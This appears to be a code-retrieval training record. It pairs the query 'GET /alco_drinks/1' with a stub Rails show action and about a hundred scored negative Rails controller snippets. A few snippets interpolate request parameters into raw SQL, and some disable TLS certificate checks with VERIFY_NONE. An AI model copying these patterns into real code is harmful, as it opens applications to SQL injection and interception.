[ "0.6568109", "0.61779475", "0.6090409", "0.6040155", "0.6032922", "0.598778", "0.59847236", "0.5946186", "0.59275955", "0.592282", "0.5868661", "0.58345133", "0.5808626", "0.5778309", "0.5769778", "0.5703969", "0.5690444", "0.5667428", "0.56601036", "0.563854", "0.559185", "0.5554689", "0.55148906", "0.5510961", "0.5497819", "0.54972005", "0.549478", "0.548648", "0.54741", "0.54741", "0.5463533", "0.5453769", "0.5424691", "0.54231197", "0.54166937", "0.5416332", "0.5412875", "0.5401", "0.5377843", "0.5376893", "0.5372", "0.53558564", "0.53512627", "0.5337807", "0.53362846", "0.53325564", "0.53288335", "0.53206784", "0.53163725", "0.5309703", "0.53003424", "0.52960503", "0.52940494", "0.5288411", "0.5287493", "0.52683043", "0.5263075", "0.526151", "0.5261199", "0.5258494", "0.5253828", "0.525178", "0.5246736", "0.52422523", "0.5240859", "0.5239033", "0.52367866", "0.523309", "0.5231504", "0.522985", "0.5223885", "0.52129596", "0.5211828", "0.52092487", "0.5208069", "0.5205685", "0.5204287", "0.52020895", "0.52017313", "0.5201268", "0.5200503", "0.5191527", "0.51891434", "0.518663", "0.5184922", "0.51746583", "0.51740384", "0.5173539", "0.51662284", "0.5161819", "0.5161699", "0.5160511", "0.5158068", "0.5157694", "0.5157479", "0.51572114", "0.5155172", "0.5153414", "0.5152724", "0.5147249" ]
0.71127003
0
GET /alco_drinks/1 GET /alco_drinks/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @alco_drinks = AlcoDrink.all\n end", "def drinks\n top_drinks = Drink.top.limit(5)\n exclude_drink_ids = top_drinks.map(&:id)\n top_gin_drinks = Drink.top(Ingredient.gin_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_gin_drinks.map(&:id)\n top_vodka_drinks = Drink.top(Ingredient.vodka_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_vodka_drinks.map(&:id)\n top_margarita_drinks = Drink.top([Ingredient.triple_sec_canonical_id, Ingredient.tequila_canonical_id], exclude_drink_ids).limit(5)\n render json: {\n general: top_drinks,\n gin_drinks: top_gin_drinks,\n vodka_drinks: top_vodka_drinks,\n margaritas: top_margarita_drinks,\n }\n end", "def set_alco_drink\n @alco_drink = AlcoDrink.find(params[:id])\n end", "def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end", "def index\n\t\t@drinks = Drink.all\n\tend", "def drink\n @drinks = Item.select {|k,v| k.product_type_id == 4 }\n \n respond_to do |format|\n #format.html # index.html.erb\n format.json { render json: @drinks, :only => [:id, :name, :description, :price, :time], :include => {:product_type => { :only => [:id, :name]}}}\n end\n end", "def show\n next_url = {}\n next_url = {next: {profile: \"http://#{my_address}:3000/pickup\", href: \"http://#{my_address}:3000/orders/pickup/#{@order.id}\", enctype: 'application/json'}} if @order.status == \"ready\"\n respond_to do |format|\n response_json = { drink: @order.drink, status: @order.status, additions: @order.additions, _links: next_url}\n format.json { render json: response_json, status: 200 }\n end\n end", "def random_cocktail\n\trand_cocktail_url = open(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\").read\n\trand_cocktail_json = JSON.parse(rand_cocktail_url)\n\trand_cocktail_json[\"drinks\"][0]\nend", "def index\n @drinks = Drink.all\n end", "def create\n @alco_drink = AlcoDrink.new(alco_drink_params)\n\n respond_to do |format|\n if @alco_drink.save\n format.html { redirect_to @alco_drink, notice: 'Alco drink was successfully created.' }\n format.json { render :show, status: :created, location: @alco_drink }\n else\n format.html { render :new }\n format.json { render json: @alco_drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def random_drink\n # result = open(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\")\n\n def get_json(url)\n respond = RestClient.get(url)\n JSON.parse(respond)\n end\n\n def get_ingredient\n drink_listing = []\n drink_data = get_json(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\")['drinks'].each {|drink, ingr|ingr}.map {|name| name.values}\n\n drink_name = drink_data[0][1]\n drink_type = drink_data[0][21...35]\n drink_type = drink_type.reject do |data|\n data.empty?\n end.join(\", \")\n \"Your drink is a '#{drink_name}' and it is made from #{drink_type}\"\n # \"It is #{drink_type}\"\n # drink_listing\n end\n puts get_ingredient\n #option to save it to a list???\nend", "def alco_drink_params\n params.require(:alco_drink).permit(:title, :price, :type, :size, :url, :alko_id)\n end", "def show\n @includes_drink = IncludesDrink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @includes_drink }\n end\n end", "def drinks(type)\n drinkRecords.all(:type => type)\n end", "def show\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bowl }\n end\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def show\n @drink = Drink.find(params[:id])\n end", "def index\n @drinks = Drink.all\n @drink_types = DrinkType.all\n end", "def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end", "def food_info(food_id)\n get(\"/foods/#{food_id}.json\")\n end", "def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end", "def show\n @drip = Drip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drip }\n end\n end", "def show\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advocacy }\n end\n end", "def menu\n foods = current_user.restaurant.meals.where(meal_type: 0)\n drinks = current_user.restaurant.meals.where(meal_type: 1)\n render json: {foods: foods, drinks: drinks, is_success: true}, status: :ok\n end", "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def show\n @meal = Meal.find(params[:meal_id]) if params[:meal_id]\n @recipe = @meal.recipes.find(params[:id]) if @meal\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end", "def new\n @bowl = Bowl.new\n @dry_fruits = DryFruit.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bowl }\n end\n end", "def show\n json = self.as_json(only: [:created_at, :version])\n json['url'] = doi_url\n json\n end", "def index\n @recommended_links = RecommendedLink.all\n\n render json: @recommended_links\n end", "def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end", "def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end", "def index\n head 404\n # @api_v1_followings = Api::V1::Following.all\n\n # render json: @api_v1_followings\n end", "def recipe_info_for(id)\n response = Faraday.get(\"https://api.spoonacular.com/recipes/#{id}/information?includeNutrition=true&apiKey=#{spoonacular_key}\")\n JSON.parse response.body\n end", "def rating(food)\n url = 'https://thereportoftheweek-api.herokuapp.com/reports'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n result = JSON.parse(response)\n puts result[7]['product']\n \n end", "def index\n @drink_items = DrinkItem.all\n end", "def show\n if (params[:redirect] == \"on\")\n sql = <<-SQL\n with src AS (SELECT daughters(ear_num)\n FROM kine WHERE id = #{params[:id]})\n select json_agg(src) FROM src;\n SQL\n render json: ActiveRecord::Base.connection.select_value(sql)\n end\n end", "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end", "def show\n render json: @diet, status: 200, root: true\n end", "def show\n @restaurant_dish = Restaurant::Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restaurant_dish }\n end\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appeal }\n end\n end", "def show\n @ingredient = Ingredient.find_by_url_slug(params[:id])\n @ingredient = Ingredient.find(params[:id]) if @ingredient.nil?\n @recipes = @ingredient.recipes.order('created_at DESC')\n logger.debug @recipes.inspect\n respond_to do |format|\n format.html {render :layout => 'wall'}\n format.json { render json: @ingredient }\n end\n end", "def show\n @natural_disaster_categories = NaturalDisasterCategory.find(params[:id])\n @disaster = Disaster.find(params[:id])\n\n respond_to do |format|\n format.html {render :show}\n format.json {render json: @disaster}\n end\nend", "def show\n @inkcatagory = Inkcatagory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inkcatagory }\n end\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end", "def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end", "def show\n params.require(%i[id])\n render json: Beverage.find_by!(id: params[:id])\n end", "def show\n donation = Donation.find_by(id: params[:id])\n render json: donation.as_json\n end", "def show\n @kf_diary = Kf::Diary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_diary }\n end\n end", "def show\n @dinosaur = Dinosaur.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dinosaur }\n end\n end", "def show\r\n @discounts_on_location = DiscountsOnLocation.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @discounts_on_location }\r\n end\r\n end", "def index\n @dices = Dice.all\n\n render json: @dices\n end", "def show\n @brother = Brother.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brother }\n end\n end", "def show\n @adotando_animal = AdotandoAnimal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @adotando_animal }\n end\n end", "def show(id) \n response = request(:get, \"/recipes/#{id}.json\")\n response.first[1]\n end", "def show\n @baton = Baton.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @baton }\n end\n end", "def show\n @dental = Dental.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dental }\n end\n end", "def show\n @drug = Drug.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drug }\n end\n end", "def index\n if (params[:redirect] == \"on\")\n sql = <<-SQL\n WITH src AS (SELECT id, daughters(id)\n FROM kine WHERE owner_id = #{params[:search_owner]})\n SELECT json_agg(src) FROM src;\n SQL\n render json: ActiveRecord::Base.connection.select_value(sql)\n else\n @daughters = Daughter.all\n end\n end", "def destroy\n @alco_drink.destroy\n respond_to do |format|\n format.html { redirect_to alco_drinks_url, notice: 'Alco drink was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @pending_recommended_links = PendingRecommendedLink.all\n\n render json: @pending_recommended_links\n end", "def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end", "def index\n render json: Loan.all\n end", "def show\n @dish = Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish }\n end\n end", "def show\n render json: @accessory_category\n end", "def show\n @nail_salon = NailSalon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nail_salon }\n end\n end", "def show\n @orders = @client.orders.order(date: :desc).page(params[:orders_page]).per_page(10)\n @recipes = @client.recipes.order(date: :desc).page(params[:recipes_page]).per_page(10)\n # binding.pry\n end", "def show\n json_response(@food_item)\n end", "def show\n @bluetooth = Bluetooth.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bluetooth }\n end\n end", "def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end", "def show\n @adocao_animal = AdocaoAnimal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @adocao_animal }\n end\n end", "def show\n @store = Store.find(params[:store_id])\n @dish_discount = @store.dish_discounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish_discount }\n end\n end", "def index\n @l_inks = LInk.all\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal }\n end\n end", "def show\n render \"api/v1/bounties/show\"\n end", "def show\n @shop = Shop.find(params[:id])\n breadcrumbs.add @shop.name,nil\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop }\n end\n end", "def show\n @adv = Advantage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @adv }\n end\n end", "def show\n @brochure = Brochure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brochure }\n end\n end", "def show\n if @bird\n respond_to do |format|\n format.json { render json: {required: @bird, properties: @bird.properties, families: @bird.families, title: \"POST /birds [request]\", description: \"Get bird by id\",:status => OK }}\n end\n else\n respond_to do |format|\n format.json { render json: {:status => NOT_FOUND} }\n end\n end\n end", "def index\n @karyalay_caterers = KaryalayCaterer.all\n render json: @karyalay_caterers\n end", "def show\n render json: @pizza\n end", "def show\n @disability = Disability.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @disability }\n end\n end", "def show\n @dato = Dato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dato }\n end\n end", "def show\n @finding_aural = FindingAural.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finding_aural }\n end\n end", "def show\n @meal = Meal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @meal }\n end\n end", "def create\n @order = Order.new(order_params)\n @drink = Drink.where(drink: @order.drink).first\n if @drink.nil?\n respond_to do |format|\n format.json { render json: {}, status: 404}\n end\n else\n respond_to do |format|\n if @order.save\n @drink = Drink.where(drink: @order.drink).first\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n response_json = {drink: @drink.drink, cost: @drink.cost, _links: { next: {profile: \"http://#{my_address}:3000/payment\", href: \"http://#{my_address}:3000/payments/order/#{@order.id}\", enctype: 'application/json'}}}\n format.json { render json: response_json, status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def show\n @breadcrumb = 'read'\n @bank = Bank.find(params[:id])\n @bank_offices = @bank.bank_offices.order(\"code\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank }\n end\n end", "def show\n # accept the params\n # go to the db and get the correct recipe for that param\n p params[:id]\n @recipe = Recipe.find_by(id: params[:id])\n @ingredients = @recipe.ingredients.split(\", \").map {|ingredient| ingredient.capitalize}\n # send this to the view\n # show that data to the user\n render 'show.json.jb'\n end", "def index\n @dnas = Dna.all\n\n render json: @dnas\n end", "def get_finding_info\n\t\tidDec = params[:idDec].to_i\n\t\tidMap = params[:idMap].to_i\n\t\thallazgo = Finding.where(\"decision_map_id = ? AND governance_decision_id = ?\", idMap, idDec).first\n\t\trespond_to do |format|\n\t\t\tformat.json {render json: hallazgo}\n \tend\n\tend", "def show\n @data = @recipe.read(params[:id])\n render json: @data\n end", "def show\n @cleaning_duty = CleaningDuty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cleaning_duty }\n end\n end", "def show\n\t\t# find by id and show that particular instance of a drink \n\t\t@drink = @user.drinks.find(params[:id])\n\tend", "def show\n @diapo = current_church.diapos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @diapo }\n end\n end", "def index\n @nepals = Nepal.all\n\n render json: @nepals\n end", "def index\n ingredients = params[:ingredients]\n if params[:limit]\n searchlimit = params[:limit]\n else\n searchlimit = '10'\n end\n\n require 'nokogiri'\n require 'uri-handler'\n require 'open-uri'\n\n ingredients = ingredients.to_uri\n doc = Nokogiri::HTML(open(\"http://www.webtender.com/cgi-bin/search?name=&ingr=#{ingredients}&what=drink&show=#{searchlimit}&verbose=on\"))\n index = 0\n\n drinknames = []\n ings = []\n cocktails = Hash.new\n\n doc.css(\"td[width='90%']\").each do |node|\n # puts node.xpath('/a').text\n drinknames[index] = node.css('a').text\n ings = node.css(\"small\")[1].text\n\n ings.gsub!('Ingredients: ', '')\n ings = ings.split(', ')\n\n\n cocktails[drinknames[index]] = [ings]\n\n index += 1\n end\n\n respond_to do |format|\n format.json { render :json => cocktails }\n end\n end", "def show\n @cartucho = Cartucho.find(params[:id])\n @historials =@cartucho.historials\n @historial = Historial.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartucho }\n end\n end", "def catalog_dcat()\n return uri(\"api/dcat.json\")\n end" ]
[ "0.69772196", "0.62497663", "0.62323505", "0.6049066", "0.60304797", "0.59980154", "0.59854996", "0.59559375", "0.59455854", "0.5937912", "0.58724207", "0.581022", "0.5790072", "0.5777065", "0.57551706", "0.5707048", "0.5678435", "0.5674689", "0.56560504", "0.5651242", "0.5650318", "0.5635691", "0.56122947", "0.5608711", "0.5586665", "0.5577267", "0.55632627", "0.554113", "0.55322754", "0.55132353", "0.55070704", "0.55060387", "0.55028385", "0.5499216", "0.54966193", "0.549567", "0.5473198", "0.54707676", "0.54705656", "0.5463073", "0.5452131", "0.54460096", "0.54407597", "0.5430053", "0.54271185", "0.5425697", "0.54190636", "0.54190636", "0.5418544", "0.5410194", "0.54032403", "0.5400629", "0.539475", "0.5391019", "0.53876525", "0.5385032", "0.53844804", "0.5375328", "0.53713506", "0.5371319", "0.5366292", "0.5365101", "0.53650606", "0.5357111", "0.534932", "0.5347666", "0.534459", "0.5339255", "0.53294444", "0.5325297", "0.5315975", "0.5315931", "0.5313735", "0.5313343", "0.53097314", "0.5309148", "0.53068286", "0.5306731", "0.5306541", "0.53057474", "0.5304776", "0.53037006", "0.52947515", "0.52924156", "0.5292068", "0.52918327", "0.52869004", "0.5286235", "0.5284429", "0.5284107", "0.5283515", "0.5283243", "0.5279636", "0.5276683", "0.5268817", "0.5264188", "0.5261876", "0.52598715", "0.52594215", "0.525669", "0.5255552" ]
0.0
-1
POST /alco_drinks POST /alco_drinks.json
def create @alco_drink = AlcoDrink.new(alco_drink_params) respond_to do |format| if @alco_drink.save format.html { redirect_to @alco_drink, notice: 'Alco drink was successfully created.' } format.json { render :show, status: :created, location: @alco_drink } else format.html { render :new } format.json { render json: @alco_drink.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def alco_drink_params\n params.require(:alco_drink).permit(:title, :price, :type, :size, :url, :alko_id)\n end", "def create\n @order = Order.new(order_params)\n @drink = Drink.where(drink: @order.drink).first\n if @drink.nil?\n respond_to do |format|\n format.json { render json: {}, status: 404}\n end\n else\n respond_to do |format|\n if @order.save\n @drink = Drink.where(drink: @order.drink).first\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n response_json = {drink: @drink.drink, cost: @drink.cost, _links: { next: {profile: \"http://#{my_address}:3000/payment\", href: \"http://#{my_address}:3000/payments/order/#{@order.id}\", enctype: 'application/json'}}}\n format.json { render json: response_json, status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def create\n @drink = Drink.new(drink_params)\n\n respond_to do |format|\n if @drink.save\n format.html { redirect_to new_drink_path, notice: 'Drycken skapades.' }\n format.json { render :show, status: :created, location: @drink }\n else\n format.html { render :new }\n format.json { render json: @drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @drink = Drink.new(drink_params)\n\n respond_to do |format|\n if @drink.save\n format.html { redirect_to @drink, notice: 'Drink was successfully created.' }\n format.json { render :show, status: :created, location: @drink }\n else\n format.html { render :new }\n format.json { render json: @drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t# A drink is instantiated by the current user\n\t\t@drink = current_user.drinks.build(drink_params)\n\t\t# If the drink instance is saved as a record in our db\n\t\tif\t@drink.save \n\t\t\t# render json for that drink instance\n\t\t\trender :json => @drink\n\t\telse \n\t\t\t# otherwise render json in the for of an error\n\t\t\trender :json => { :errors => @drink.errors.full_messages}, :status => 422\n\t\tend\n\tend", "def set_alco_drink\n @alco_drink = AlcoDrink.find(params[:id])\n end", "def index\n @alco_drinks = AlcoDrink.all\n end", "def create\n @includes_drink = IncludesDrink.new(params[:includes_drink])\n\n respond_to do |format|\n if @includes_drink.save\n format.html { redirect_to @includes_drink, notice: 'Includes drink was successfully created.' }\n format.json { render json: @includes_drink, status: :created, location: @includes_drink }\n else\n format.html { render action: \"new\" }\n format.json { render json: @includes_drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @drink_item = DrinkItem.new(drink_item_params)\n\n respond_to do |format|\n if @drink_item.save\n format.html { redirect_to @drink_item, notice: 'Drink item was successfully created.' }\n format.json { render :show, status: :created, location: @drink_item }\n else\n format.html { render :new }\n format.json { render json: @drink_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:bubble_tea][:store_id] = params[:id] unless params[:bubble_tea][:store_id].present?\n @bubble_tea = BubbleTea.new(bubble_tea_params)\n\n if @bubble_tea.save\n # successful bubble tea drink creation\n render json: @bubble_tea\n else\n render plain: \"Failed to save drink.\"\n end\n end", "def create\n @drink = Drink.new(allowed_params)\n\n if @drink.save\n redirect_to drinks_path\n else\n render 'new'\n end\n end", "def drink_params\n params.require(:drink).permit(:title, :description, :steps, :source)\n end", "def create\n @fooddrink = Fooddrink.new(fooddrink_params)\n @fooddrink.user_id = current_user.id\n\n respond_to do |format|\n if @fooddrink.save\n format.html { redirect_to @fooddrink, notice: 'Food/Drink was successfully created.' }\n format.json { render :show, status: :created, location: @fooddrink }\n else\n format.html { render :new }\n format.json { render json: @fooddrink.errors, status: :unprocessable_entity }\n end\n end\n end", "def add\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:recipe_id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] #hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n recipe_data = JSON.parse response.read_body\r\n recipe = Recipe.create :title => recipe_data[\"title\"], :image => recipe_data[\"image\"]\r\n @current_user.recipes << recipe # add recipe to My Recipes\r\n\r\n redirect_to my_recipes_path\r\n end", "def create_drink(category, table_name, name, price, max_price, min_price, current_price, price_difference, bio)\n @bar.drinks.create(name: name, price: price, max_price: max_price, min_price: min_price, current_price: current_price, price_difference: price_difference, bio: bio, category: category,\n table_name: table_name)\n end", "def create\n @favourite_drink = FavouriteDrink.new(favourite_drink_params)\n\n respond_to do |format|\n if @favourite_drink.save\n format.html { redirect_to @favourite_drink, notice: 'Favourite drink was successfully created.' }\n format.json { render :show, status: :created, location: @favourite_drink }\n else\n format.html { render :new }\n format.json { render json: @favourite_drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_bank_link_using_post_with_http_info(brokerage_bank_link_co, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BrokerageApi.create_bank_link_using_post ...'\n end\n # verify the required parameter 'brokerage_bank_link_co' is set\n if @api_client.config.client_side_validation && brokerage_bank_link_co.nil?\n fail ArgumentError, \"Missing the required parameter 'brokerage_bank_link_co' when calling BrokerageApi.create_bank_link_using_post\"\n end\n # resource path\n local_var_path = '/brokerage/bank_link'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(brokerage_bank_link_co)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BrokerageBankLinkVO')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BrokerageApi#create_bank_link_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def drink_params\n permitted = [:name, :brewery, :country, :percentage, :price, :drink_type_id, :description, :instock, :label_url]\n params.require(:drink).permit(*permitted)\n end", "def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end", "def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end", "def drinks\n top_drinks = Drink.top.limit(5)\n exclude_drink_ids = top_drinks.map(&:id)\n top_gin_drinks = Drink.top(Ingredient.gin_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_gin_drinks.map(&:id)\n top_vodka_drinks = Drink.top(Ingredient.vodka_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_vodka_drinks.map(&:id)\n top_margarita_drinks = Drink.top([Ingredient.triple_sec_canonical_id, Ingredient.tequila_canonical_id], exclude_drink_ids).limit(5)\n render json: {\n general: top_drinks,\n gin_drinks: top_gin_drinks,\n vodka_drinks: top_vodka_drinks,\n margaritas: top_margarita_drinks,\n }\n end", "def update\n respond_to do |format|\n if @alco_drink.update(alco_drink_params)\n format.html { redirect_to @alco_drink, notice: 'Alco drink was successfully updated.' }\n format.json { render :show, status: :ok, location: @alco_drink }\n else\n format.html { render :edit }\n format.json { render json: @alco_drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bar = Bar.find(params[:bar_id])\n @order = @bar.orders.new(order_params)\n @drink = @bar.drinks.find(params[:drink_id])\n if session[:order_id]\n redirect_to bar_drink_path(@bar, @drink) and return\n end\n\n respond_to do |format|\n if @order.save\n session[:order_id] = @order.id\n format.html { redirect_to bar_drink_path(@bar, @drink)}\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @alco_drink.destroy\n respond_to do |format|\n format.html { redirect_to alco_drinks_url, notice: 'Alco drink was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def drink_params\n params.require(:drink).permit(:name, :cafeinAmount, :Amount)\n end", "def random_drink\n # result = open(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\")\n\n def get_json(url)\n respond = RestClient.get(url)\n JSON.parse(respond)\n end\n\n def get_ingredient\n drink_listing = []\n drink_data = get_json(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\")['drinks'].each {|drink, ingr|ingr}.map {|name| name.values}\n\n drink_name = drink_data[0][1]\n drink_type = drink_data[0][21...35]\n drink_type = drink_type.reject do |data|\n data.empty?\n end.join(\", \")\n \"Your drink is a '#{drink_name}' and it is made from #{drink_type}\"\n # \"It is #{drink_type}\"\n 